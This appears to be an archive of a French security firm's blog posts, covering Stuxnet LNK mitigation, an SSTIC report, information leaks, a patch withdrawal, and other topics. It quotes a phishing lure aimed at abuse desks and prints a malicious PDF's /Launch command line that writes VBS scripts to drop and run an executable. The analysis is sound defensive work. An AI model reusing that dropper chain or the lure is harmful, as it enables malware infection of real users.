En août 2008, le haut commissaire nigérian Sunday Olu Agbi avait provoqué un tollé international en déclarant que les victimes d’escroqueries 419 étaient tout aussi coupables que les escrocs eux-mêmes, et devraient être également emprisonnées. Et pourtant, bien que personne n’ait pris cette déclaration au sérieux, n’y a-t-il pas quelques enseignements à en tirer ?

La notion de propriété privée, dans le domaine des biens matériels, repose un système législatif qui protège le propriétaire et punit le voleur. Cette simple définition juridique pose à elle seule les bases de la propriété privée, notion qui paraît aujourd’hui naturelle, et qui a donc été transposée à la sphère immatérielle et à la société de l’information sans trop se poser de questions. Ainsi, sur Internet, dans le cas d’une intrusion sur un système informatique, la société qui a subi l’intrusion est en droit de demander réparation, sous la forme de dommages et intérêts, et l’auteur de l’infraction est recherché, et éventuellement arrêté et condamné. Jusqu’ici, tout le monde en conviendra, c’est du bon sens.

Là où ça se complique, c’est quand on fait le constat que sur Internet, ça ne fonctionne pas du tout comme cela : neuf fois sur dix, l’histoire finit mal, le voleur n’est pas arrêté, et le préjudice est consommé.

Alors, pourquoi une telle divergence entre théorie et pratique ? Bien des raisons permettent d’expliquer une telle dissonance : l’hétérogénéité des systèmes législatifs nationaux à l’échelle du monde ; la difficile – pour ne pas dire, l’impossible – coopération policière internationale ; et en tête de liste, la simplicité dramatique avec laquelle les fraudes sont commises, qui les met à la portée du pirate débutant. Mais ces obstacles ont déjà été explorés et dénoncés à de maintes reprises par d’autres observateurs, je n’y reviendrai donc pas ; j’ajouterai seulement que la décennie que nous quittons tout juste a clairement démontré que s’attaquer à ces obstacles est vain : on ne remonte pas le cours du progrès technologique, et aucune autorité ne sera jamais capable d’imposer au reste du monde un système législatif et policier homogène ; il restera donc toujours sur la planète de nombreux havres de paix pour les fraudeurs.

L’échec de la répression des crimes et délits informatiques a son pendant : c’est l’échec global de la sensibilisation du public. Depuis dix ans, chaque année voit en effet de nouveaux records battus en termes de montants des fraudes, escroqueries, phishing, nombre de cartes bancaires volées, etc ; et pourtant, les messages passés au grand public n’ont pas fondamentalement changé. Combien de banques continuent de s’en tenir au discours « SSL = sécurité » dans les modes d’emploi de leurs sites transactionnels ? Combien d’experts répètent encore « n’ouvrez pas de pièces jointes provenant d’émetteurs inconnus », malgré le fait qu’à l’ère des réseaux sociaux, la menace vient précisément de personnes que l’on croit connaître ? Pourquoi entend-on encore ça et là « Ne naviguez que sur des sites de confiance », alors que la notion même de site de confiance est en voie de disparition ? Et surtout, comment le grand public peut-il réagir à ces nouveaux messages, la menace ayant tellement changé de nature que l’on doive opérer un virage à 180 degrés et lui dire très exactement le contraire de ce qu’on lui a dit pendant dix ans ? L’échec de cette sensibilisation de fond, pourtant motivée par les plus pures intentions, est également très visible au niveau des entreprises, dont l’insécurité globale des systèmes informatiques perdure : beaucoup de correctifs critiques restent non appliqués – ou seulement après de longues semaines de tests, en contradiction avec l’urgence de la situation (on se souvient de la pandémie de Conficker, qui aurait largement pu être évitée) ; de même, la sécurité des sites web ne s’est pas améliorée d’un iota en dix ans, les sites piratés étant devenus en 2008 le premier vecteur d’infection par malware, dépassant même le spam.

Etant entendu que le couple « sensibilisation des victimes / répression des fraudeurs » est globalement un échec, l’idée fait petit à petit son chemin qu’il serait opportun de compléter cette approche par une stratégie inverse : c'est-à-dire, « répression des victimes / sensibilisation des fraudeurs ».

L’idée de s’attaquer aux victimes est une idée généralement impopulaire qui fera probablement bondir plus d’un lecteur ; mais le rééquilibrage des responsabilités entre pirate et victime est absolument essentiel pour obtenir des résultats probants dans la durée, et surtout instaurer un système qui s’auto-entretient, où l’intérêt personnel de chaque partie (la sécurité de ses données) doit converger avec l’intérêt général (la diminution globale des fraudes et la conservation des secrets industriels). On ne peut plus continuer de considérer que lorsqu’une intrusion a eu lieu, l’intégralité de la faute repose sur le pirate, alors même que la société impactée ne possède peut-être aucune politique de sécurité digne de ce nom, et que l’intrusion s’est résumée à accéder à un espace non protégé ou à envoyer un cheval de Troie dans une pièce jointe avec la consigne « ouvrez-moi s’il vous plaît ». Des défauts de sécurité aussi importants perdureront, tant qu’ils ne seront pas réprimés.

Cette répression doit toutefois s’appliquer avec discernement : il serait injuste de punir les particuliers et entreprises lorsque face à la menace, aucune mesure technique ou organisationnelle avec un coût acceptable ne fait le poids. C’est à la loi de faire le tri : un internaute possédant un anti-virus à jour pourra être considéré comme étant de bonne foi, indépendamment de l’efficacité réelle de l’anti-virus.

Une telle répression, s’appliquant aux entreprises, déclencherait un effet « domino » salvateur : le risque se reporterait mécaniquement sur les éditeurs de logiciels et matériels, à qui les entreprises victimes d’intrusion demanderaient davantage de comptes qu’elles ne le font aujourd’hui. Ces acteurs, dont le rôle est essentiel dans la sécurisation des systèmes d’information, subiraient une pression accrue, et hésiteraient peut-être davantage à reporter aux calendes grecques la publication d’un correctif pour une vulnérabilité critique, ou à supprimer le support d’un OS encore largement déployé.

Des mesures concrètes ont déjà vu le jour : par exemple, les systèmes « Verified by Visa » et « Mastercard SecureCode » consistent à déplacer l’impact de la fraude, actuellement supporté par les commerçants, vers les banques – et dans certains cas, ces dernières reportent le risque sur leurs clients. D’autres initiatives nationales, comme aux Pays-Bas ou en Australie, visent également à placer en quarantaine les internautes infectés par des malware jusqu’à ce qu’ils se soient désinfectés. Hadopi tente également d'instaurer ce type d'obligation pour les particuliers, qui sont priés de sécuriser leurs connexions wifi ; et l'article 34 de la loi Informatique et Libertés oblige les entreprises à sécuriser les données personnelles qu'elles manipulent, sous peine de sanctions pénales. Cependant, cette loi, au demeurant vague (aucune précision sur les moyens à mettre en oeuvre), rarement appliquée et assortie de sanctions pénales (jusqu'à 5 ans de prison et 300.000 Euros d'amende) sans commune mesure avec l'ampleur potentielle de la fraude, ne s'applique pas à l'ensemble du spectre de la fraude informatique, et n'est doublée d'aucune obligation de signalement de l'intrusion à la clientèle, comme c'est pourtant le cas aux Etats-Unis.

Le concept de la sensibilisation des fraudeurs peut sembler farfelu, mais des initiatives voient le jour ça et là, pour tenter de réduire l’attrait de la fraude auprès des pirates. En témoigne par exemple la campagne menée par Microsoft au Nigéria, jouant sur des leviers culturels et ludiques pour dissuader les jeunes escrocs. Une telle démarche, si elle était soutenue par des mesures économiques et sociales efficaces, pourrait bien obtenir sur le long terme une efficacité inattendue.

La décennie qui s’ouvre est l’occasion de changer de posture sur la sécurité : la dichotomie victimes / fraudeurs a fait son temps, et nous a tous plongés dans une impasse. Il serait temps d’arrêter de vider l’océan à la petite cuillère, et de s’attaquer aux racines du problème.

For a few days, the security ecosystem has been focusing on the Stuxnet malware and its innovative propagation method using a previously unknown vulnerability in the way Windows handles icons in LNK files. In Windows 7, using AppLocker helps mitigates the flaw.

In a LNK file, it is possible to point an icon resource to a malicious DLL. When the Windows shell will display the icon, it will load the DLL and execute the code in its main function. Unfortunately, Microsoft recommendations are either not applicable (disable all shortcut icons!), or only cover one exploitation vector (disabling the WebDAV client, which doesn't prevent the vulnerability from being exploited by USB drives or remote SMB shares).

Some suggested to use SRP to restrict the execution of binaries (EXE and DLL) to the C: drive. This is better, but can block legitimate binaries executed from other drives (which is likely to happen in a corporate environment). Of course, it is possible to whitelist other drives as well, but this reopens the SMB and WebDAV exploitation vectors...

That's why it seems that the best solution to protect against this vulnerability would be to block every unknown DLL, which is exactly what AppLocker was designed for. However, there is a huge counterpart: this only works on Windows 7 and 2008 R2 (using SRP can thus be useful on older systems).

AppLocker is an evolution of SRP which can be used to block PE binaries, MSI installers and VBS scripts (among others), with customizable rules. The advantage of AppLocker over SRP is its ability to write rules specific to DLLs, without tempering with the execution of traditional EXE binaries, which perfectly matches our case.

After running the "Application identity" service required to apply the rules, DLL rules have to be explicitly allowed by checking the following checkbox (and bypassing warnings...):

Default rules can then be applied to protect the system; don't forget to remove the last rule as it allows any administrator to load any DLL. From now on, DLLs can only be loaded from C:\Windows and C:\Program Files.

After a (now unsuccessful) attempt to exploit the vulnerability, a 8004 event appears in Applications and services log -> Microsoft -> Windows -> AppLocker, indicating that the DLL has been blocked:

This solution is not perfect as legitimate DLLs can no longer be loaded from other directories, including remote ones. However, it is expected that this drawback has less consequences than blocking every remote EXE.

Il n'aura échappé à personne que ces derniers jours ont principalement été occupés par le malware Stuxnet et sa méthode de propagation inédite utilisant une vulnérabilité jusqu'alors inconnue dans la façon dont Windows traite les icônes dans les fichiers LNK. Sous Windows 7, l'utilisation d'AppLocker permet, en partie, de se protéger.

La vulnérabilité permet de spécifier dans un fichier LNK une ressource d'icône pointant vers une DLL malveillante. Lorsque le shell de Windows voudra afficher l'icône, il va donc charger la DLL et exécuter le code malveillant contenu dans sa fonction principale. Les recommandations de Microsoft sont soit inapplicables en pratique (désactiver toutes les icônes des raccourcis !), soit ne couvrent qu'une partie des vecteurs d'exploitation possibles (désactiver le client WebDAV, ce qui n'empêche pas l'exploitation via les clés USB ou les partages SMB).

Il a été proposé d'utiliser les SRP afin de restreindre l'exécution de binaires (EXE et DLL) au seul lecteur C:. Cette protection est un peu plus satisfaisante, mais elle peut bloquer l'exécution de binaires légitimes situés sur d'autres lecteurs (cas souvent rencontré en entreprise). On peut bien sûr ajouter les lecteurs voulus à la liste blanche, mais on rouvre alors le vecteur d'exploitation via les partages SMB ou WebDAV...

Il semble donc que la meilleure solution pour se protéger contre cette vulnérabilité consiste à bloquer le chargement des DLL inconnues, ce que permet précisément de faire AppLocker. Énorme inconvénient de la méthode : elle ne fonctionne que sur Windows 7 et 2008 R2 (c'est pourquoi l'utilisation des SRP peut tout de même s'avérer utile sur les systèmes plus anciens).

Le fonctionnement d'AppLocker ayant déjà été décrit, nous ne reviendrons pas dessus. Rappelons simplement qu'il s'agit d'un prolongement des SRP permettant de bloquer l'exécution des binaires PE, installeurs MSI et scripts VBS (entre autres), selon des règles à définir. L'avantage d'AppLocker sur les SRP est qu'il permet d'appliquer des règles spécifiques aux DLL, sans toucher à l'exécution des binaires traditionnels en .exe, ce qui convient parfaitement à notre cas.

Après avoir démarré le service "Identité de l’application" nécessaire à l'application des règles, il faut explicitement cocher la case suivante dans l'onglet Avancé des propriétés d'AppLocker (et passer outre les avertissements...), afin de pouvoir configurer des règles sur les DLL :

La mise en place des règles par défaut permet alors de se protéger ; attention à bien supprimer la 3ème règle autorisant tout administrateur à charger toute DLL. A partir de maintenant, seules les DLL présentes dans les répertoires C:\Windows et C:\Program Files pourront être chargées :

Après une tentative d'exploitation (désormais infructueuse) de la vulnérabilité, un événement 8004 dans Journaux des applications et services -> Microsoft -> Windows -> AppLocker nous indique que le chargement de la DLL malveillante a bien été bloqué :

La solution n'est cependant pas parfaite car des DLL peuvent bien sûr avoir besoin d'être chargées depuis d'autres répertoires, y compris distants, quoique ce cas est a priori plus rare que le cas des binaires .EXE distants.

L'édition 2010 du SSTIC est (déjà) terminée, et nous voilà de retour après un week-end de repos bien mérité (voire nécessaire).

Sans faire de compte-rendu exhaustif, on peut tout de même noter quelques points : Il n'a échappé à personne qu'il y a un fort besoin de main d'Å“uvre en ce moment dans le domaine de la sécurité informatique. Le problème vient-il d'un manque de formation dans le domaine, des étudiants qui se détournent du milieu une fois démystifié le cliché du hacker « opération espadon », de la trop grande exigence des recruteurs... ? Nous ne sommes en tout cas pas les seuls à nous poser la question.

Par ailleurs, les conférences ont une fois de plus été variées, destinées à un public hétérogène.

Certaines au contenu technique pointu :

• remote root via une carte réseau en passant par un buffer overflow dans une fonctionnalité d'administration à distance (heureusement non activée par défaut) puis écriture en RAM en passant par le DMA. Cela a nécessité l'implémentation d'un debugger spécifique .. bizarrement, les registres du cpu embarqué dans la carte réseau étaient mappés en RAM (apparemment, pour faciliter le debug ... par le constructeur ).
• contournement de la fonctionnalité IOMMU visant justement à contrer les attaques en passant par le DMA, en restreignant les zones mémoires accessibles par chaque périphérique. Le contournement utilise le fait que certains périphériques utilisent un id-source commun. Sympathique démonstration où le flux d'une vidéo en streaming est détourné suite au branchement d'un iPod malveillant sur le port firewire (encore lui!).
• VirtDBG : debugger au niveau "ring -1" afin de se trouver un niveau en-dessous des rootkits noyau

D'autres plus généralistes, présentant notamment le travail de la DGSE et de l'ANSSI, ou encore le projet Honeynet.

Certaines conférences étaient également sympathiques, comme celle présentant des statistiques sur le taux de propagation d'une application facebook malveillante, et comment optimiser cette propagation.

Enfin, les deux conférences passionnantes de Harald Welte concernant le GSM montrent qu'il s'agit bien là d'un domaine où tout reste à faire. Il nous invite d'ailleurs à tester et à contribuer à ses différents projets, dont les deux outils qu'il a présenté, OpenBSC et OsmocomBB.

En résumé de cette liste non exhaustive, il y en avait pour tous les goûts. Pour plus de détails, les actes, slides, ainsi que différents comptes-rendus sont en ligne.

Pour finir, un challenge de reverse engineering était organisé pour la 2e année consécutive, concernant cette fois-ci une image mémoire Android. La solution présentée était intéressante, sachant que pratiquement aucun participant n'a procédé de la même manière. Après plusieurs discussions lors du social event, la plupart semblent s'être cassé les dents sur la cryptographie (la découverte de la faiblesse de la clé El-Gamal n'était pas évidente). Cela n'a pas arrêté notre collègue Florent qui a fini deuxième en utilisant, d'après le comité d'organisation, des «  techniques de ninja » à base de hexdump, grep et dd. Les solutions sont également en ligne.

Félicitations à Raphaël Rigo pour la réalisation de ce challenge « touffu », ainsi qu'aux participants.

Ce fût donc une très bonne édition du SSTIC, et on attend avec impatience celle de l'année prochaine.

Entre 14h et 15h aujourd'hui, les serveurs DNS utilisés pour gérer la zone .DE (Allemagne) ont été victimes d’une grosse panne d’origine encore non identifiée. Côté allemand, sur les 6 serveurs DNS de DENIC, 4 auraient été hors service ; les seuls sites en extension .DE accessibles étaient les sites pour lesquels les fournisseurs d’accès à Internet possédaient encore en cache leur adresse IP.

Cette panne a été visible de ce côté de la frontière, puisque bon nombre de sites majeurs allemands étaient inaccessibles (comme par exemple, Google.de). A noter que les premières victimes de cette panne étaient les domaines qui possèdent une durée maximale de mise en cache faible (la fameuse valeur TTL, ou « Time-to-live »).

Effet de bord important : les domaines sur d'autres extensions qui n'ont rien à voir (.AT, .COM, .NET, etc.), et gérés par un serveur DNS d'autorité en extension .DE, ont été aussi affectés.

Si une telle panne s'était prolongée dans la durée, ses conséquences auraient pu être très importantes, bien plus graves que les dénis de service qu’ont connu l’Estonie ou la Géorgie. Rien n’indique à l’heure actuelle qu’il s’agisse d’autre chose que d’un accident.

Mise à jour du 17/05 : le problème affectant certains domaines en .AT n'était pas de même nature : il s'agissait d'effets de bord consécutifs à la panne en Allemagne, en raison du fait que des domaines .AT étaient gérés par des serveurs sur l'extension allemande.

Les médias spécialisés focalisent depuis plus d'un an leur attention sur les nouvelles formes de risques apportés par le « Web 2.0 » - à savoir, micro-blogging (Twitter), et réseaux sociaux personnels (Facebook, MySpace...) et professionnels (LinkedIn, Viadeo, etc.). Attention d'ailleurs focalisée à juste titre sur les risques de fuites d'information, certains salariés se rendant coupables d'indiscrétions parfois catastrophiques dans leurs profils, révélant par exemple :

• L'identité de leurs clients et les montants des contrats associés ;
• Des informations sur les projets informatiques actuellement en cours : développements internes, choix technologiques réalisés, déploiements en cours, budgets, etc. ;
• Des détails extrêmement précis sur l'environnement technique du système d'information de l'entreprise : versions de logiciels, d'OS, type de navigateur web employé, etc.

Mais bien que le risque soit parfaitement réel - une société de sécurité, SnoSoft, a d'ailleurs démontré le piratage du SI d'une banque uniquement à travers des informations issues des réseaux sociaux - il semble surévalué. Et surtout, comme tout risque « Ã  la mode », il occulte un autre risque encore plus important : le risque de voir des documents internes fuiter à travers le bon vieux Web 1.0.

En effet, nous réalisons pour nos clients depuis plusieurs années le recensement des fuites d'information avérées les affectant sur Internet. Les informations les plus sensibles que nous identifions ne se trouvent pas forcément sur les réseaux sociaux : cela peut surprendre, mais on trouve systématiquement des documents internes en libre accès, sur les sites web légitimes des sociétés concernées ; documents souvent estampillés « confidentiel » ou « Ã  usage interne », et qui n'ont de toute évidence rien à faire sur le Web.

La deuxième source principale de fuites d'information est constituée par les salariés eux-mêmes, stagiaires, personnels temporaires et consultants externes, qui utilisent des espaces de stockage personnels extérieurs à l'entreprise (sites web personnels, FTP ouverts, sites de partage de documents...) pour pouvoir travailler le week-end ou le soir. De même, beaucoup de stagiaires travaillent sur leur rapport de stage pendant leur temps libre, et mettent ce document en ligne sur leur site personnel. L'ennui est que ces comportements à risque sont permanents, la présence de ces documents perdurant bien au-delà de leur usage initial.

Ce phénomène est tellement commun que la question n'est plus de savoir si de telles fuites affectent ou non les entreprises du CAC40, dont le SI très complexe offre autant de points de fuite potentiels : la vraie question, c'est combien de documents internes sensibles concernant l'entreprise sont disponibles sur Google, à la vue de tout le monde à un instant donné. Et contrairement aux réseaux sociaux, qui requièrent la mise en oeuvre de moyens conséquents pour exploiter les fuites découvertes (les attaques par agrégation nécessitant un recoupement, minutieux et exhaustif, des bribes d'information se trouvant dans les profils), un seul document interne « fuité » peut gravement porter préjudice à l'entreprise.

Les moyens pour maîtriser les fuites de documents internes sont assez simples à mettre en oeuvre :

• Sur le système d'informations, il s'agira de vérifier le niveau de visibilité externe des sites web légitimes, ainsi que la présence de documents de travail sur ces sites ;
• Lorsque la fuite est occasionnée sur un site externe au SI, il s'agira de détecter cette fuite par une surveillance des moteurs de recherche, et en guise d'intervention correctrice, d'obtenir la suppression des documents concernés auprès de leur hébergeur.

Des mesures aisées et peu coûteuses, possédant un retour sur investissement rapide, et qui contrastent avec les réseaux sociaux, où la maîtrise du risque est coûteuse, tant du point de vue de la surveillance exhaustive des réseaux - inatteignable et inutile - que par rapport à la fragilisation de la relation entre l'entreprise et le salarié, ce dernier pouvant réagir très négativement à une telle démarche. Sans compter les recommandations bancales, pratiquement inapplicables qui ont pu être données ça et là, comme par exemple :

• Ne pas accepter de mise en relation sans vérifier au préalable l'identité du demandeur : si cette recommandation peut à la limite avoir un sens sur les réseaux purement professionnels, en revanche sur les réseaux personnels, elle se vide de toute substance. Les réseaux sociaux sont précisément un lieu primaire de prise de contact : désormais, on se rencontre d'abord en ligne à travers un point d'ancrage virtuel, puis ensuite seulement la rencontre se matérialise « in real life ». impossible donc de vérifier a priori l'identité du demandeur - de nombreux professionnels de la sécurité en ont d'ailleurs fait les frais ;
• Ne pas donner trop d'informations à caractère personnel sur son profil : encore une contradiction fondamentale avec le principe même des réseaux sociaux, qui cristallisent et dopent l'égo - voire l'exhibitionnisme - de ses membres, en incitant toujours à publier davantage et plus vite : photos de vacances, vidéos, etc. La majorité des utilisateurs s'inscrivent sur ces sites précisément pour parler d'eux-mêmes, leur demander de ne plus le faire serait voué à l'échec ;
• Ne pas partager sa liste de contacts sans restriction : que cette liste soit partagée ou pas, aucune différence, puisqu'une mise en relation effective suffit à la dévoiler.

Autant de recommandations qui aimeraient plutôt dire « n'utilisez pas les réseaux sociaux », mais sans trop l'assumer.

En conclusion, gardons un oeil sur le bon vieux web 1.0, qui n'a pas fini de nous jouer des tours !

Au beau milieu des acteurs de la réponse à incident de sécurité informatique se trouvent les services "Abuse". La quasi-totalité des hébergeurs disposent d'un tel service, généralement joignable exclusivement par e-mail à "abuse@nomduFAI". Ces services travaillent sur des aspects techniques afin de faire respecter le bon usage de leurs services et de protéger les internautes de certaines menaces. Ainsi, parmi leurs missions les plus fréquentes on trouve en particulier le traitement des signalements des cas :

• de sites illicites hébergés au sein de leur parc (qu'ils feront fermer/désactiveront) ;
• de malware hébergés sur les sites web de leurs utilisateurs (qu'ils retireront) ;
• de spams envoyés ou reçus ;
• de compromission de serveurs ;
• etc.

Ces services collaborent étroitement avec les équipes CERT ainsi qu'avec les services judiciaires afin de faire cesser au plus vite toute infraction.

Seulement voilà, il s'agit de...la théorie. Dans la pratique, les services abuse sont souvent lents, et relativement opaques. Malgré le fait qu'en France, ils aient l'OBLIGATION de faire retirer les contenus illicites dès qu'ils en ont connaissance, les délais d'intervention de ces services sont très variables. Les services abuse répondent souvent à un mail par un message automatisé, ou ne répondent pas du tout, et vous envoient un mail (ou pas) lorsqu'un incident est résolu. Parfois ils agissent sans fournir aucun retour, ou n'agissent tout simplement pas.

Du coup, le meilleur moyen de savoir s'il y a eu une action de leur côté est souvent de consulter régulièrement la page web à problème (dans le cas d'un site de phishing par exemple) jusqu'à la voir disparaître.

Les services abuse sont également les ennemis des cybercriminels. C'est le jeu, et ces derniers ont pour habitude de faire héberger leurs contenus frauduleux sur plusieurs serveurs différents, sachant pertinemment qu'ils seront fermés au fur et à mesure.

Récemment cependant, nous avons pu observer un nouveau type d'attaque ciblée de la part de certains cybercriminels. Ces derniers écrivent au service Abuse en se faisant passer pour un internaute ayant un problème de sécurité, un mail parmi tant d'autres à traiter... Ils prétextent avoir vu un site de phishing, et indiquent un lien vers une page frauduleuse que l'équipe de réponse à incident va consulter afin de vérifier la véracité des dires de l'internaute. Mais ce lien les dirige directement sur une page dont le seul but est... d'infecter le service Abuse avec un cheval de Troie !

Voici un exemple d'un tel e-mail :

--

To: abuse@bank.com

Cc: fraud@bank.com; scams@bank.com; customersupport@bank.com; security@bank.com

Subject: Possible Fake Web Site

Hello, I just received an email stating it was from your bank and since I don't have any accounts with you I think this is a fake site. I just thought you might like to know someone is trying to scam your customers.

The email had the following link to your bank [LINK]

Thanks, I hope you catch the scammers.

--

Les intérêts d'une infection d'un service abuse sont multiples mais je vois surtout les possibilités de :

• disposer d'une porte dérobée au sein de l'entreprise, pour ensuite rebondir et compromettre d'autres machines de l'entreprise. Le fait qu'une adresse mail "abuse@fournisseurdacces" existe presque toujours y contribue ;
• observer le mode de fonctionnement du service ;
• usurper l'identité du service abuse afin de contacter d'autres services ou clients et les infecter avec des malware ;
• espionner les mails parvenant au service abuse pour obtenir de l'information utile transmise par les clients (numéros de cartes bancaires, identifiants et mots de passe d'accès à des services, etc.).

Dans l'exemple réel que nous avons cité, et dans lequel nous avons évidemment changé les adresses pour respecter l'anonymat de l'établissement bancaire ciblé, vous pouvez voir en plus que les fraudeurs ont envoyé leur e-mail vers plusieurs services "à l'aveugle" : des adresses ayant des chances d'exister ont été ajoutées (security@, fraud@, customersupport@ ...).

Comme toujours donc, que vous soyez un particulier ou un professionnel de la sécurité informatique, la prudence est de mise. Favorisez les navigateurs exotiques, soyez toujours à jour au niveau de votre logiciel anti-virus, et soyez préparés à rétablir un système sain rapidement en cas d'infection.

No one missed it, the fix for the vulnerability in Windows Media Services that we reported to Microsoft was honored to be part of the small circle of patches pulled by the editor for not fixing the problem.

Immediately after the publication of the original patch, we have executed out of curiosity our proof of concept on the revised version of the service. This immediately caused a crash. Back with a debugger attached to the service, we found that the vulnerability was in a great shape! A changed return address later and our proof of concept worked perfectly against the new version of the service. We immediately contacted Microsoft, who was already working on the problem.

A few days later, Microsoft announced the withdrawal of the patch MS10-025, because it did not correct the vulnerability. The reason is as follows: "The original issue was missed due to focusing on a variant of the original report early in the investigation". Understand: we started on the wrong way early in the investigation (which lasted about eight months). Knowing that the proof of concept mentioned earlier has been sent to Microsoft when first contacting them to report the vulnerability, a simple test on the supposedly fixed version would have immediately exposed the problem ... Might the close Windows 2000 end of life be the cause of this neglect?

However, we have appreciated the transparency of the editor through the MSRC blog and Twitter.

Today, everything seems back to normal: a new patch properly fixing the vulnerability has been released by Microsoft.

Cela n'a échappé à personne, le correctif pour la vulnérabilité dans Windows Media Services que nous avions remontée à Microsoft a eu l'honneur de faire partie du cercle très restreint des correctifs retirés par l'éditeur pour non-correction du problème.

Dès le lendemain de la publication du correctif initial, nous avons par curiosité exécuté notre preuve de concept sur la version corrigée du service. Celle-ci a immédiatement provoqué un plantage. De retour avec un debugger attaché au service, nous avons pu constater que la vulnérabilité se portait comme un charme ! Une adresse de retour modifiée plus tard et notre preuve de concept fonctionnait parfaitement contre la nouvelle version du service. Nous avons alors immédiatement contacté Microsoft, qui travaillait déjà sur le problème.

Quelques jours plus tard, Microsoft annonçait le retrait du correctif MS10-025, car celui-ci ne corrigeait pas la vulnérabilité. La raison invoquée est la suivante : "The original issue was missed due to focusing on a variant of the original report early in the investigation". Comprendre : nous sommes partis sur une fausse piste très tôt dans l'investigation (qui a duré environ 8 mois).
Sachant que la preuve de concept évoquée plus tôt a été fournie à Microsoft dés le premier contact pour remonter la vulnérabilité, un simple test sur la version soit-disant corrigée aurait immédiatement mis au jour le problème ... La fin de vie proche de Windows 2000 serait-elle à l'origine de cette négligence ?

On peut toutefois saluer la grande transparence de l'éditeur par le biais des blog et Twitter du MSRC.

Aujourd'hui, tout semble rentré dans l'ordre : un nouveau correctif corrigeant correctement la vulnérabilité a été publié par Microsoft.

It is already known that the recent vulnerability (Ref. Lexsi 13190) in Adobe Acrobat/Reader when handling /Launch /Action is being exploited in the wild. Since yesterday, a new spam run exploiting this vulnerability has been spreading.

The email comes from operator@mycompany.com and tries to persuade the user that his POP3 and SMTP parameters have changed and that the new configuration can be found in the attached PDF:

pdfid shows that an action will be performed when opening the PDF document (/OpenAction):

$ pdfid.py doc.pdf

PDFiD 0.0.10 doc.pdf
PDF Header: %PDF-1.1
obj                    8
endobj                 8
stream                 1
endstream              1
xref                   1
trailer                1
startxref              1
/Page                  1
/Encrypt               0
/ObjStm                0
/JS                    0
/JavaScript            0
/AA                    0
/OpenAction            1
/AcroForm              0
/JBIG2Decode           0
/RichMedia             0
/Colors > 2^24         0

pdf-parser can be used to dump the corresponding code:

$ pdf-parser.py -a doc.pdf

Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 8
 2: 5, 6
/Action 1: 8
/Catalog 1: 1
/Font 1: 7
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

$ pdf-parser.py doc.pdf -v -f -w -o 8

<<
/Type /Action
/S /Launch
/Win
<<
 /F (cmd.exe)
 /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo e=InStr(pf,"'EE")  >> script.vbs
&& echo s=Mid(pf,s,e-s)  >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs &&  script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>

This PDF does exploit the /Launch /Action vulnerability and uses the trick presented by Didier Stevens to change the warning message in Acrobat/Reader:

In fact, by moving up the dialog box, the malicious code can be displayed:

The exploitation code in this PDF file has several steps:

• the shell code in the /Launch directive creates the script.vbs file
• this script opens the PDF file and writes in batscript.vbs the data between the 'SS and 'EE patterns, taking care of removing unneeded "%" characters

• the batscript.vbs script creates the game.exe binary byte after byte, and executes it

To ensure it will start on each system boot, game.exe copies itself in C:\Program Files\Microsoft Common\svchost.exe and sets itself as a debugger for explorer.exe. It connects to a command and control in Korea:

I promise I will not conclude this post by saying that almost no antivirus was able to detect this malicious binary.